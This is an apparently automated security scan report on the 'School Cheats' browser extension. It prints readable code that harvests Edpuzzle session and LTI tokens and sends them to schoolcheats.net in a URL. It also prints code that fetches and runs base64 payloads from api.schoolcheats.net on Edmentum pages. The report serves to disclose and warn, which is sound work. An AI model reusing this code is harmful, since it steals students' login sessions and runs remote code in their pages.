Is School Cheats safe?

High risk

School Cheats is high risk. Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token. It opens schoolcheats.net/edpuzzle with these as userToken/ltiToken, exposing your session to it.…

schoolcheats.netv1.3.1Chrome Web Store
75Risk
Who publishes it

schoolcheats.net - no other listings under this identity

What this publisher told the store about itself, and the other listings that told it the same thing.

Publisher
schoolcheats.net

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Edpuzzle session cookies sent to schoolcheats.net

HighunwantedCWE-522Dynamic sandbox

Clicking Edpuzzle's "Launch Cheat" makes the extension collect session tokens, falling back to cookies token and x-edpuzzle-lti-access-token.

What actually happens

You did this

You click the Edpuzzle "Launch Cheat" action.

The extension did this

The extension gathers Edpuzzle session credentials and opens schoolcheats.net with those values in the URL.

The fallback path asks the background worker for the token and x-edpuzzle-lti-access-token cookies.

Credential fields placed into the Edpuzzle handoff URL

  • Edpuzzle user session token
    userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n (illustrative)

    This can identify an active Edpuzzle login session for you.

  • Edpuzzle LTI access token
    ltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)

    This can link the browser session to your Edpuzzle classroom launch context.

  • Remote destination path
    https://schoolcheats.net/edpuzzle?userToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJzdWIiOiJ1c2VyXzY0MjkxIiwiaWF0IjoxNzIwMDAwMDAwfQ.8H2mW1ZxqK5pV9nR3YbQ4tC6uA0sD7eF9gL2hJ3kM4n&ltiToken=eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.eyJjb250ZXh0IjoiY2xhc3Nyb29tXzEwMTciLCJpYXQiOjE3MjAwMDAxMjN9.jN6fK1rP4sT8vB2xM5qW9cY3eU7aH0dL4gR6zV1pQ2s (illustrative)

    This is the site that receives the token-bearing URL when the extension opens the handoff page.

Captured request

GEThttps://schoolcheats.net/edpuzzle?userToken=<redacted>&ltiToken=<redacted>

The extension opens this URL as a browser navigation; no request body is used.

The code that does this

The shipped code paths that collect Edpuzzle credentials and open the handoff URL

Readable version

Readable token collection flow

content-scripts/content.js
async function BT(i) {    const a = i.indexOf("edpuzzle.com") !== -1,      l = {};    if (a) {      const u = await NT();      if (u != null && u.userToken && (l.userToken = u.userToken), u != null && u.ltiToken && (l.ltiToken = u.ltiToken), !l.userToken) {        const c = await li({          type: "cookie",          domain: "edpuzzle.com",          name: "token"        });        c && (l.userToken = c)      }      if (!l.ltiToken && UT()) {        const c = await li({          type: "cookie",          domain: "edpuzzle.com",          name: "x-edpuzzle-lti-access-token"        });        c && (l.ltiToken = c)      }    }    if (!l.userToken) {      const u = await li({        type: "edpToken"      });      u != null && u.token && Date.now() - u.ts <= VT && (l.userToken = u.token)    }    return l  }

Readable launch action that builds the URL

content-scripts/content.js
const jT = {    id: "edpuzzle",    displayName: "Edpuzzle",    hostMatches: ["edpuzzle.com"],    manifestHosts: ["https://*.edpuzzle.com/*"],    detect: i => i.indexOf("edpuzzle.com") !== -1 || sr,    detectSession: async () => ({}),    actions: [{      id: "launch",      label: "Launch Cheat",      variant: "primary",      run: async ({        host: i      }) => {        const a = await BT(i);        if (!a.userToken) {          setTimeout(() => window.alert("[School Cheats] Could not capture an Edpuzzle session token. Make sure you are logged in or that the assignment has loaded, then try again."), 0);          return        }        const l = new URLSearchParams({          userToken: a.userToken        });        a.ltiToken && l.set("ltiToken", a.ltiToken), li({          type: "opener",          url: `https://schoolcheats.net/edpuzzle?${l.toString()}`        })      }    }]  };

Readable background handlers for cookies and tab opening

background.js
function I(t, a) {    return new Promise(l => {      chrome.cookies.getAll({        domain: t      }, o => {        const c = o == null ? void 0 : o.find(A => A.name === a);        l((c == null ? void 0 : c.value) ?? null)      })    })  }  const E = "edp_token_",    O = "*://*.edpuzzle.com/api/v3/users/lti/me*",    j = F(() => {      const t = new Set;      chrome.webRequest.onBeforeSendHeaders.addListener(a => {        var A, f;        if (a.tabId < 0) return;        const l = (f = (A = a.requestHeaders) == null ? void 0 : A.find(h => h.name.toLowerCase() === "authorization")) == null ? void 0 : f.value;        if (!l) return;        const o = l.replace(/^Bearer\s+/i, ""),          c = `${E}${a.tabId}`;        chrome.storage.session.set({          [c]: {            token: o,            ts: Date.now()          }        }), chrome.tabs.sendMessage(a.tabId, {          type: "edpDetected"        }).catch(() => {})      }, {        urls: [O]      }, ["requestHeaders", "extraHeaders"]), chrome.tabs.onRemoved.addListener(a => {        chrome.storage.session.remove(`${E}${a}`)      }), q({        opener: a => {          t.has(a.url) || (t.add(a.url), chrome.tabs.create({            url: a.url,            active: !0          }), setTimeout(() => t.delete(a.url), 1e4))        },        cookie: async (a, l, o) => {          o(await I(a.domain, a.name))        },        edpToken: async (a, l, o) => {          var h;          const c = (h = l.tab) == null ? void 0 : h.id;          if (c == null) {            o(null);            return          }          const A = `${E}${c}`,            f = await chrome.storage.session.get(A);          o((f == null ? void 0 : f[A]) ?? null)        }      })    });

Readable injected reader for Edpuzzle page state

edp-listener.js
const y = w(() => {    const e = window;    if (e.__sc_edp_listener) return;    e.__sc_edp_listener = !0;    const l = "a8x2",      _ = "q9z3",      b = "s4w8";    function g() {      var o, r, u;      try {        const a = Object.keys(e).find(n => n.indexOf("webpackChunk") === 0 && n.indexOf("edpuzzle_client_web") !== -1);        if (!a || !e[a]) return null;        const p = e[a],          d = p.push([            [Symbol()], {},            n => n          ]);        p.pop();        let i;        try {          i = d("./app_react/modules/store.js")        } catch {          i = Object.values(d.m).map(n => {            try {              return d(n)            } catch {              return null            }          }).find(n => {            const f = n && Object.values(n)[0];            return f && typeof f.getState == "function"          })        }        if (!i) return null;        const c = Object.values(i)[0],          t = (o = c == null ? void 0 : c.getState) == null ? void 0 : o.call(c);        return t ? {          userToken: (r = t == null ? void 0 : t.user) == null ? void 0 : r.authToken,          ltiToken: (u = t == null ? void 0 : t.lti_learning2) == null ? void 0 : u.ltiAccessToken        } : null      } catch {        return null      }    }    window.addEventListener("message", o => {      const r = o.data;      if (!r || r.source !== l || r.type !== _) return;      const u = g();      try {        (o.source || window).postMessage({          source: l,          type: b,          tokens: u        }, "*")      } catch {}    })  })

Remote host that receives the Edpuzzle token URL

    • schoolcheats.net

    Receives the /edpuzzle navigation URL containing userToken and, when present, ltiToken query parameters.

Skip Tutorial runs remote Edmentum payloads

MediumunwantedCWE-829Dynamic sandbox

Clicking Skip Tutorial on Edmentum makes the extension read its stored key, fetch a payload from api.schoolcheats.net, base64-decode each string, and pass them to a page script as Angular service/property/method names to change it.

What actually happens

You did this

You click Skip Tutorial while using an Edmentum tutorial page.

The action is gated on a saved School Cheats product key.

The extension did this

The extension requests server-supplied instructions, decodes them, and runs them through the page's Angular runtime.

The decoded strings select service, property, counter, and method names used by the injected script.

Concrete values used by the Skip Tutorial payload flow

  • Saved product key
    SCH-9K4Q-7J2M (illustrative)

    This identifies the School Cheats entitlement used for your request. The extension appends it to the payload URL before contacting the API.

  • Downloaded instruction strings
    payload[0] through payload[5], decoded from base64

    These strings tell the injected page script which tutorial service, properties, and methods to use.

  • Edmentum page runtime
    Angular service selected from document.body

    The decoded instructions run inside the page you're viewing, letting the extension's injected script change the tutorial state.

Captured request

GEThttps://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}

JSON response expected to contain a payload array of base64-encoded strings.

The code that does this

The content script fetches and decodes the remote payload before posting it to edm-auto.js

Readable version

Readable HT() in content-scripts/content.js

content-scripts/content.js
async function HT() {  const i = await new Promise(c => chrome.storage.local.get(["sc_key"], h => c(h))),    a = i == null ? void 0 : i.sc_key;  if (!a) {    setTimeout(() => window.alert("[School Cheats] No active key. Add one in Settings first."), 0);    return  }  let l;  try {    const h = await (await fetch(`https://api.schoolcheats.net/v1/edmentum/t-payload?key=${encodeURIComponent(a)}`)).json();    if (h.error || !Array.isArray(h.payload)) {      setTimeout(() => window.alert(`[School Cheats] ${h.message||"Authorization failed"}`), 0);      return    }    l = h.payload.map(f => atob(f))  } catch (c) {    setTimeout(() => window.alert(`[School Cheats] Network error: ${(c==null?void 0:c.message)??c}`), 0);    return  }  const u = await km({    source: "a8x2",    type: "b2t6",    trigger: async () => {      const c = h => {        if (h.source !== window) return;        const f = h.data;        (f == null ? void 0 : f.source) !== "a8x2" || (f == null ? void 0 : f.type) !== "k7m3" || (window.removeEventListener("message", c), window.postMessage({          source: "a8x2",          type: "n5p9",          p: l        }, "*"))      };      window.addEventListener("message", c), await Uu("/edm-auto.js", {        keepInDom: !1      })    }  });  u.ok || setTimeout(() => window.alert(`[School Cheats] Skip tutorial failed: ${u.error}`), 0)}

The code that does this

The injected script consumes decoded payload slots as Angular service and method names

Readable version

Readable edm-auto.js

edm-auto.js
var edmAuto = (function() {  "use strict";  function f(t) {    return t == null || typeof t == "function" ? {      main: t    } : t  }  const w = f(() => {    const t = "a8x2",      i = "k7m3",      m = "n5p9",      y = "b2t6";    function s(n, e) {      window.postMessage({        source: t,        type: y,        ok: n,        error: e      }, "*")    }    function p(n) {      var u, a, d;      const e = window,        o = (d = (a = (u = e.angular) == null ? void 0 : u.element(document.body)) == null ? void 0 : a.injector()) == null ? void 0 : d.get(n[0]);      if (!o) return s(!1, "Tutorial not found, open a tutorial first");      const h = o[n[5]] || 0;      for (let l = 0; l < h; l++) {        const b = e.angular.element(document.body).injector();        b.get(n[0])[n[1]] = !0, o[n[2]][n[3]]()      }      o[n[4]](), s(!0)    }    const c = n => {      if (n.source !== window) return;      const e = n.data;      if (!(!e || e.source !== t || e.type !== m)) {        window.removeEventListener("message", c);        try {          p(e.p)        } catch (o) {          s(!1, String((o == null ? void 0 : o.message) ?? o))        }      }    };    window.addEventListener("message", c), window.postMessage({      source: t,      type: i    }, "*")  });  function E() {}  function r(t, ...i) {}  const g = {    debug: (...t) => r(console.debug, ...t),    log: (...t) => r(console.log, ...t),    warn: (...t) => r(console.warn, ...t),    error: (...t) => r(console.error, ...t)  };  return (async () => {    try {      return await w.main()    } catch (t) {      throw g.error('The unlisted script "edm-auto" crashed on startup!', t), t    }  })()})();edmAuto;

External host used by this feature

    • api.schoolcheats.net

    Receives the product key in the t-payload query string and returns the base64-encoded Edmentum payload array.

Updated 30 September 2026dcecjjjnjecoiehclollekjmfgblkkha